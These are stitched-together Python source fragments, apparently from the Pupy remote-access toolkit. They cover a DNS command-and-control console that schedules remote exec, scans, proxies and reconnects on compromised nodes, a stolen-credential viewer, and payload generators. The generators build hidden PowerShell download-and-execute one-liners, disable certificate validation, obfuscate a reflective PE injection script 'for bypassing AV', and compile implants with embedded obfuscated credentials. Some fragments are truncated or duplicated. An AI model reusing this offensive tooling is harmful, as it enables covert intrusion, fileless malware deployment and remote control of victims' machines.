def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EIP': session.system_info['external_ip'] or '?', 'IIP': session.system_info.get('internal_ip') or '', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'INTERNAL IP': '{}'.format( session.system_info.get('internal_ip') or '' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': # try: count = server.dnscnc.connect(args.host, args.port, args.transport, args.fronting, node=args.node, default=args.default) # except Exception, e: # handler.display(Error(e)) # return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan(args.host, args.first, args.last or args.first, node=args.node, default=args.default) if count: handler.display( Success( 'Schedule scan request to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'disconnect': count = server.dnscnc.disconnect(node=args.node, default=args.default) if count: handler.display( Success('Schedule disconnect to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'exit': count = server.dnscnc.exit(node=args.node, default=args.default) if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'reexec': count = server.dnscnc.reexec(node=args.node, default=args.default) if count: handler.display( Success('Schedule reexec to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'sleep': count = server.dnscnc.sleep(args.timeout, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'proxy': count = server.dnscnc.proxy(args.uri, node=args.node, default=args.default) if count: handler.display( Success('Schedule proxy to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'dexec': count = server.dnscnc.dexec(args.url, args.action, proxy=args.proxy, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'pastelink': try: create = None output = None if args.create: create = args.create elif args.create_content: create, output = args.create_content count, url = server.dnscnc.pastelink(content=create, output=output, url=args.url, action=args.action, node=args.node, default=args.default, legacy=args.legacy) if output: return if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) except ValueError as e: handler.display(Error('{}'.format(e))) elif args.command == 'extra': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Error('No sessions found')) return elif len(sessions) > 1: handler.display(Error('Selected more than one sessions')) return session = sessions[0] if session.online_status: handler.display('\nONLINE STATUS\n') objects = [{ 'KEY': Color(k.upper().replace('-', ' '), 'green' if session.online_status[k] else 'lightyellow'), 'VALUE': Color( str(session.online_status[k]).upper(), 'green' if session.online_status[k] else 'lightyellow') } for k in [ 'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http', 'https', 'https-no-cert', 'https-mitm', 'proxy', 'transparent-proxy', 'stun', 'mintime', 'ntp-offset' ]] handler.display(Table(objects, ['KEY', 'VALUE'])) handler.display('\nPASTES STATUS\n') objects = [{ 'KEY': Color(k, 'green' if v else 'lightyellow'), 'VALUE': Color(v, 'green' if v else 'lightyellow') } for k, v in session.online_status['pastebins'].iteritems()] handler.display(Table(objects, ['KEY', 'VALUE'])) session.online_status = None if session.egress_ports: handler.display('\nEGRESS PORTS: {}\n'.format(','.join( str(x) for x in session.egress_ports))) session.egress_ports = set() if session.open_ports: handler.display('\nOPEN PORTS\n') objects = [{ 'IP': str(ip), 'PORTS': ','.join(str(x) for x in ports) } for ip, ports in session.open_ports.iteritems()] handler.display(Table(objects, ['IP', 'PORTS'])) session.open_ports = {}
shell=True) except subprocess.CalledProcessError, e: self.display( Error( 'Impossible to generate {0} file with encoder: {1}'.format( self.rubberDuckyBinFilename, repr(e.output)))) except Exception, e: self.display( Error( 'Impossible to generate {0} file with encoder: {1}'.format( self.rubberDuckyBinFilename, repr(e)))) return False else: self.display(Success('Encoder output: {0}'.format(output))) self.display( Success('{0} has been created'.format( repr(self.rubberDuckyBinFilename)))) return True def __loadRubberDuckyConf__(self): ''' ''' self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path') self.keyboardLayoutPath = self.pupy_conf.get( 'rubber_ducky', 'default_keyboard_layout_path') if self.encoderPath == 'TO_FILL': self.unconfigured = True
return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan(args.host, args.first, args.last or args.first, node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format(
parser.add_argument('search', default='', nargs='?', help='Keyword to search') def do(server, handler, config, modargs): try: credentials = Credentials(config=config) except Exception, e: handler.display(Error(e)) return clients = server.get_clients_list() cids = None if modargs.delete_db: credentials.remove() handler.display(Success('DB deleted')) return if not modargs.all: cids = set([ client.short_name() for client in clients ]) cids.update([ client.node() for client in clients ]) categories = {} try: for item in credentials.display(search=modargs.search.decode('utf-8'), isSorted=modargs.sort): if item['category'] not in categories:
def serve_ps1_payload(display, server, conf, link_ip="<your_ip>", useTargetProxy=False, nothidden=False): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String($data));$data='';iex $code;" payload_url_x86 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))), as_file=True, alias='ps1 payload [x86]') payload_url_x64 = server.pupweb.serve_content(stage_encoding.format( b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))), as_file=True, alias='ps1 payload [x64]') protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if server.pupweb.ssl: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::'\ 'ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\ '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\ "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');" repls = { '[NOT_USE_TARGET_PROXY]': not_use_target_proxy, '[SSL_CERT_VALIDATION]': ssl_cert_validation, '[PROTOCOL]': protocol, '[LINK_IP]': '%s' % link_ip, '[LINK_PORT]': '%s' % server.pupweb.port, } for k, v in repls.iteritems(): powershell = powershell.replace(k, v) launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64) launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86) # Compute stage1 to gain time response ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}" # For bypassing AV stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\ "[System.Convert]::FromBase64String('{0}'));iex $code;".format( b64encode(ps_template_stage1.format(launcher_x64, launcher_x86))) landing_uri = server.pupweb.serve_content(stage1, alias='ps1 payload loader') launcher = powershell.replace('[RANDOM]', landing_uri) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List( [oneliner, encoded_oneliner], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:' ))) display( Warn('Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy'))
def generate_ps1(display, conf, outpath=False, output_dir=False, both=False, x64=False, x86=False, as_str=False): SPLIT_SIZE = 100000 x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", "" if both: code = """ $PEBytes = "" if ([IntPtr]::size -eq 4){{ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) }} else{{ {2} $PEBytesTotal = [System.Convert]::FromBase64String({3}) }} Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """ # {1} = x86dll, {3} = x64dll else: code = """ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """ if both or x64: # generate x64 ps1 binaryX64 = base64.b64encode( generate_binary_from_template(display, conf, 'windows', arch='x64', shared=True)[0]) binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)] for i, aPart in enumerate(binaryX64parts): x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x64ConcatCode += "$PEBytes{0}+".format(i) display(Success('X64 dll loaded and {0} variables used'.format(i + 1))) if both or x86: # generate x86 ps1 binaryX86 = base64.b64encode( generate_binary_from_template(display, conf, 'windows', arch='x86', shared=True)[0]) binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] for i, aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x86ConcatCode += "$PEBytes{0}+".format(i) display(Success('X86 dll loaded and {0} variables used'.format(i + 1))) script = obfuscatePowershellScript( open(os.path.join( ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) # adding some more obfuscation random_name = ''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]) script = script.replace('Invoke-ReflectivePEInjection', random_name) code = code.replace('Invoke-ReflectivePEInjection', random_name) payload = None if both: payload = "{0}\n{1}".format( script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1])) elif x64: payload = "{0}\n{1}".format(script, code.format(x64InitCode, x64ConcatCode[:-1])) elif x86: payload = "{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])) if as_str: return payload if not outpath: outfile = tempfile.NamedTemporaryFile( dir=output_dir or '.', prefix='pupy_', suffix='.ps1', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outpath = outfile.name outfile.write(payload) outfile.close() return outpath
def gen_exe(self, options=''): sourcepath = self.gen_source(random_path=True) if not self.outpath: outfile = os.path.join( self.output_dir or '.', 'pupy_' + ''.join( random.choice(ascii_uppercase + ascii_lowercase) for _ in range(8)) + '.exe') else: outfile = self.outpath try: command = ['mcs'] if self.server: config = self.server.config else: from pupylib import PupyConfig config = PupyConfig() sdk = config.get('gen', 'mcs_sdk', 4) options = ' '.join( [options, config.get('gen', 'mcs_options', '') or '']) if options: command.extend(shlex.split(options)) if not self.conf.get('debug', False): if '-target:' not in options: command.append('-target:winexe') if '-debug' not in options: command.append('-debug-') if '-optimize' not in options: command.append('-optimize+') command.extend([ '-unsafe', '-noconfig', '-sdk:{}'.format(sdk), '-OUT:{}'.format(outfile), sourcepath ]) self.display( Success('compiling via mono command: {}'.format( ' '.join(command)))) try: output = subprocess.check_output(command).strip() if output: self.display(output) except subprocess.CalledProcessError as e: self.display( Error('Mono compilation failed: {}'.format(e.output))) return None except OSError: self.display( Error( "mcs compiler can't be found ... install mono-mcs package" )) return None finally: os.unlink(sourcepath) return outfile
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config